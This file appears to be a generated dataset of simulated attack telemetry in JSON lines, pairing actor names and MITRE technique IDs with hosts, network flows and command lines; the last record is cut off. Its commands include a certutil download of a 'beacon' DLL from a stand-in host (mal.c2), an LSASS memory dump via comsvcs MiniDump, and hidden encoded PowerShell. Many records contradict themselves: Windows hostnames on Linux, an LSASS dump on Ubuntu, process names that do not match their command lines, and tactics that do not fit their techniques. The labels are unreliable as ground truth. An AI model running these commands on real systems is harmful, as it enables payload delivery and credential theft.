{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1570"},"event_id":"evt_apt29_20261204T155255000Z_0018743","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.56.28.41","name":"AZURE-VM-RUFGZSDNV7","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18743APT29T1570"},"network":{"domain":"github.com","dst_ip":"1.166.132.39","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-19T00:28:25.000Z","user":{"name":"CORP\\hhqkti0pvivn","sid":"S-1-5-21-809703483-744270996-8244"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Credential Access","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260818T230813000Z_0018745","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.119.107.147","name":"WIN-FIN-SRV-RIYM9V5U1X","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18745Scattered SpiderT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.155.12.66","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-15T19:56:44.000Z","user":{"name":"azuread\\9wourpsbtm5z","sid":"S-1-5-21-231907547-471523414-8983"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution","Command and Control","Impact"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20260109T045226000Z_0018747","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.67.216.88","name":"IAM-ROLE-XITQY6ELC8","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18747FIN7T1098.004"},"network":{"domain":"github.com","dst_ip":"1.0.55.87","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3622 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-11T14:28:42.000Z","user":{"name":"arn:aws:iam::8lfry7wh7m9s","sid":"S-1-5-21-342702670-903616191-6131"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation","Command and Control","Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20251130T172005000Z_0018749","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.85.172.232","name":"DB-ORACLE-SCLNLBZ55C","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18749Scattered SpiderT1484.001"},"network":{"domain":"github.com","dst_ip":"1.192.166.188","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-11-03T17:42:55.000Z","user":{"name":"azuread\\odwgeeh2v9q9","sid":"S-1-5-21-536243838-387570144-7055"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Credential Access","Collection"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20250126T170403000Z_0018751","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.234.212.8","name":"WIN-FIN-SRV-SX7NQ6BUOI","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18751APT41T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.161.36.83","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-29T19:46:47.000Z","user":{"name":"svc_ccbj4knu03nj","sid":"S-1-5-21-967899189-841629295-3005"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control","Collection","Initial Access"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20261225T075317000Z_0018753","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.17.158.20","name":"WIN-FIN-SRV-Y7L1YOTKIE","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18753Scattered SpiderT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.116.111.168","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-01-13T05:32:10.000Z","user":{"name":"azuread\\05hd3rl81xvz","sid":"S-1-5-21-991519752-584574054-2718"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection","Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20250804T135501000Z_0018755","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 \| Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.67.157.146","name":"APP-WEB-DDED6NFOXT","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18755APT41T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.75.93.113","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-22T21:51:43.000Z","user":{"name":"svc_4s8wvrnr10pf","sid":"S-1-5-21-834319891-673595501-1112"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250727T192518000Z_0018757","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.142.187.68","name":"DB-ORACLE-HFA9JE91YU","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18757FIN7T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.35.20.174","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-30T06:36:04.000Z","user":{"name":"svc_3390q7eqs3ht","sid":"S-1-5-21-983063410-469500744-5924"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20251130T174608000Z_0018759","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.221.229.112","name":"DB-ORACLE-XHNELCCR1Y","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18759Scattered SpiderT1003.001"},"network":{"domain":"github.com","dst_ip":"1.66.224.29","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-08-26T19:55:39.000Z","user":{"name":"i-6oizqh70m6mg","sid":"S-1-5-21-276465322-625526520-3220"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Execution"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260806T101133000Z_0018761","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.155.237.129","name":"WIN-FIN-SRV-7MSZ7JVYZQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18761APT41T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.19.93.105","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-05-24T02:37:36.000Z","user":{"name":"CORP\\yqts4zk26n83","sid":"S-1-5-21-234961901-523150273-8751"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance","Collection"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20260820T090459000Z_0018763","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 \| Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.158.21.119","name":"APP-WEB-401ESZ26U7","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18763FIN7T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.88.191.26","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3205 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-07T16:09:31.000Z","user":{"name":"i-1uns08s7xav6","sid":"S-1-5-21-890906135-387940571-6830"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20260618T182437000Z_0018765","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.71.80.153","name":"IAM-ROLE-T20WJ9Q46D","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18765APT41T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.180.102.18","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-05T11:48:36.000Z","user":{"name":"svc_b5hoc821mmop","sid":"S-1-5-21-479763951-366963854-6952"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution","Exfiltration","Impact"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20260327T200151000Z_0018767","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.128.212.194","name":"IAM-ROLE-PO853BDUTL","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18767Volt TyphoonT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.85.39.80","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-01T14:53:26.000Z","user":{"name":"arn:aws:iam::ir8whsv6q44c","sid":"S-1-5-21-458130828-370770894-3738"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Collection"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20261121T050039000Z_0018769","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.46.209.95","name":"EC2-INST-P0ONG1MDLC","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18769APT41T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.109.214.17","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-29T01:25:30.000Z","user":{"name":"i-1il91bfqmhxm","sid":"S-1-5-21-401520236-416644527-9197"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20250825T054234000Z_0018771","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.31.133.230","name":"EC2-INST-51F20SRVXF","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18771Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.150.109.5","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-30T16:59:09.000Z","user":{"name":"azuread\\zpl477qrw9us","sid":"S-1-5-21-459973039-307906073-2242"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion","Collection"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20250122T113526000Z_0018773","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.11.113.100","name":"APP-WEB-Q4X8Z4OZ8E","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18773Volt TyphoonT1098.004"},"network":{"domain":"github.com","dst_ip":"1.36.130.158","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-24T13:54:33.000Z","user":{"name":"azuread\\nnjtecipnt9d","sid":"S-1-5-21-442414839-603171994-1586"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20261112T102025000Z_0018775","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.33.251.245","name":"APP-WEB-DEH410NCF7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18775Volt TyphoonT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.61.96.162","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-06T02:56:55.000Z","user":{"name":"CORP\\ip2399fpcljk","sid":"S-1-5-21-205172056-923255432-3224"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Privilege Escalation","Impact"],"technique_id":"T1531"},"event_id":"evt_lapsus_20250718T202815000Z_0018777","ground_truth":{"detection_guidance":"Sigma rule for T1531 \| Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.159.187.16","name":"AZURE-VM-H4HOMQLDS1","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18777Lapsus$T1531"},"network":{"domain":"github.com","dst_ip":"1.92.45.176","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-04-04T12:29:05.000Z","user":{"name":"svc_771a84wdthea","sid":"S-1-5-21-809750010-584706397-8183"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Privilege Escalation","Initial Access","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260325T092719000Z_0018779","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 \| Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.38.117.50","name":"DB-ORACLE-JOJY680EJ8","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18779Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.77.67.248","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-15T00:47:02.000Z","user":{"name":"svc_hmu0xmxjrgew","sid":"S-1-5-21-349448407-657668480-2158"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Initial Access","Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_scatteredspider_20250419T131617000Z_0018781","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.239.162.1","name":"WIN-FIN-SRV-L7VB7W018Y","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18781Scattered SpiderT1059.001"},"network":{"domain":"github.com","dst_ip":"1.146.75.155","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-21T05:41:05.000Z","user":{"name":"arn:aws:iam::5wfmqbu31nrs","sid":"S-1-5-21-794245929-391382675-2994"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250923T175513000Z_0018783","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 \| Join on src_ip within 10m","evasion_used":["Base64","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.128.111.30","name":"IAM-ROLE-10NJYTV1LV","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18783Lapsus$T1003.001"},"network":{"domain":"github.com","dst_ip":"1.180.252.69","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-02-22T18:37:45.000Z","user":{"name":"azuread\\l2ldubpnbqgl","sid":"S-1-5-21-377194617-592620552-5669"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20261020T103939000Z_0018785","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.130.163.40","name":"APP-WEB-OJ2VOAWICY","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18785Scattered SpiderT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.160.68.14","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-18T10:48:01.000Z","user":{"name":"i-6zdm5kerugzw","sid":"S-1-5-21-318189116-982617013-1509"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Impact"],"technique_id":"T1570"},"event_id":"evt_lapsus_20250524T153811000Z_0018787","ground_truth":{"detection_guidance":"Sigma rule for T1570 \| Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.55.109.60","name":"IAM-ROLE-MK78DATUOI","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18787Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.194.189.195","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-15T23:25:13.000Z","user":{"name":"CORP\\k92lmy85uov0","sid":"S-1-5-21-881719369-974729739-8893"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Discovery","Defense Evasion","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20261118T024650000Z_0018789","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 \| Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.6.186.245","name":"DB-ORACLE-24YMJO6BS4","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18789FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.34.119.243","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in 